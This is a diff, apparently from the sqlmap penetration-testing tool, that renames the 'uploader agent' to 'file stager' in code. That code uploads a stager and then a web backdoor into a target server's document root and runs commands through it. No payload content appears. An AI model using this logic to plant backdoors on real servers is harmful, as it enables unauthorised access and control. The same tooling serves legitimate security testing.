@@ -44,7 +44,7 @@ def __init__(self):
4444 self .webApi = None
4545 self .webBaseUrl = None
4646 self .webBackdoorUrl = None
47- self .webUploaderUrl = None
47+ self .webStagerUrl = None
4848 self .webDirectory = None
4949
5050 def webBackdoorRunCmd (self , cmd ):
@@ -84,11 +84,11 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
8484 "uploadDir" : directory ,
8585 }
8686
87- page = Request .getPage (url = self .webUploaderUrl , multipart = multipartParams , raise404 = False )
87+ page = Request .getPage (url = self .webStagerUrl , multipart = multipartParams , raise404 = False )
8888
8989 if "File uploaded" not in page :
9090 warnMsg = "unable to upload the backdoor through "
91- warnMsg += "the uploader agent on '%s'" % directory
91+ warnMsg += "the file stager on '%s'" % directory
9292 logger .warn (warnMsg )
9393 return False
9494 else :
@@ -114,12 +114,12 @@ def webInit(self):
114114 remote directory within the web server document root.
115115 """
116116
117- if self .webBackdoorUrl is not None and self .webUploaderUrl is not None and self .webApi is not None :
117+ if self .webBackdoorUrl is not None and self .webStagerUrl is not None and self .webApi is not None :
118118 return
119119
120120 self .checkDbmsOs ()
121121
122- infoMsg = "trying to upload the uploader agent "
122+ infoMsg = "trying to upload the file stager "
123123 logger .info (infoMsg )
124124
125125 message = "which web application language does the web server "
@@ -159,12 +159,12 @@ def webInit(self):
159159 backdoorStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , "backdoor.%s_" % self .webApi ), backdoorName )
160160 originalBackdoorContent = backdoorContent = backdoorStream .read ()
161161
162- uploaderName = "tmpu%s.%s" % (randomStr (lowercase = True ), self .webApi )
163- uploaderContent = decloak (os .path .join (paths .SQLMAP_SHELL_PATH , "uploader .%s_" % self .webApi ))
162+ stagerName = "tmpu%s.%s" % (randomStr (lowercase = True ), self .webApi )
163+ stagerContent = decloak (os .path .join (paths .SQLMAP_SHELL_PATH , "stager .%s_" % self .webApi ))
164164
165165 for directory in directories :
166- # Upload the uploader agent
167- self .__webFileInject (uploaderContent , uploaderName , directory )
166+ # Upload the file stager
167+ self .__webFileInject (stagerContent , stagerName , directory )
168168 requestDir = ntToPosixSlashes (directory )
169169
170170 if requestDir [- 1 ] != '/' :
@@ -180,20 +180,20 @@ def webInit(self):
180180 if requestDir [0 ] != '/' :
181181 requestDir = '/' + requestDir
182182
183- self .webBaseUrl = "%s://%s:%d%s" % (conf .scheme , conf .hostname , conf .port , requestDir )
184- self .webUploaderUrl = "%s/%s" % (self .webBaseUrl .rstrip ('/' ), uploaderName )
185- self .webUploaderUrl = ntToPosixSlashes (self .webUploaderUrl .replace ("./" , "/" ))
186- uplPage , _ = Request .getPage (url = self .webUploaderUrl , direct = True , raise404 = False )
183+ self .webBaseUrl = "%s://%s:%d%s" % (conf .scheme , conf .hostname , conf .port , requestDir )
184+ self .webStagerUrl = "%s/%s" % (self .webBaseUrl .rstrip ('/' ), stagerName )
185+ self .webStagerUrl = ntToPosixSlashes (self .webStagerUrl .replace ("./" , "/" ))
186+ uplPage , _ = Request .getPage (url = self .webStagerUrl , direct = True , raise404 = False )
187187
188188 if "sqlmap file uploader" not in uplPage :
189- warnMsg = "unable to upload the uploader "
190- warnMsg += "agent on '%s'" % directory
189+ warnMsg = "unable to upload the file stager "
190+ warnMsg += "on '%s'" % directory
191191 logger .warn (warnMsg )
192192
193193 continue
194194
195- infoMsg = "the uploader agent has been successfully uploaded "
196- infoMsg += "on '%s' ('%s')" % (directory , self .webUploaderUrl )
195+ infoMsg = "the file stager has been successfully uploaded "
196+ infoMsg += "on '%s' ('%s')" % (directory , self .webStagerUrl )
197197 logger .info (infoMsg )
198198
199199 if self .webApi == "asp" :
@@ -221,13 +221,13 @@ def webInit(self):
221221
222222 else :
223223 if not self .__webFileStreamUpload (backdoorStream , backdoorName , posixToNtSlashes (directory ) if kb .os == "Windows" else directory ):
224- warnMsg = "backdoor hasn't been successfully uploaded "
225- warnMsg += "with uploader probably because of permission "
226- warnMsg += "issues ."
224+ warnMsg = "backdoor has not been successfully uploaded "
225+ warnMsg += "with file stager probably because of "
226+ warnMsg += "lack of write permission ."
227227 logger .warn (warnMsg )
228228
229229 message = "do you want to try the same method used "
230- message += "for uploader ? [y/N] "
230+ message += "for the file stager ? [y/N] "
231231 getOutput = readInput (message , default = "N" )
232232
233233 if getOutput in ("y" , "Y" ):
0 commit comments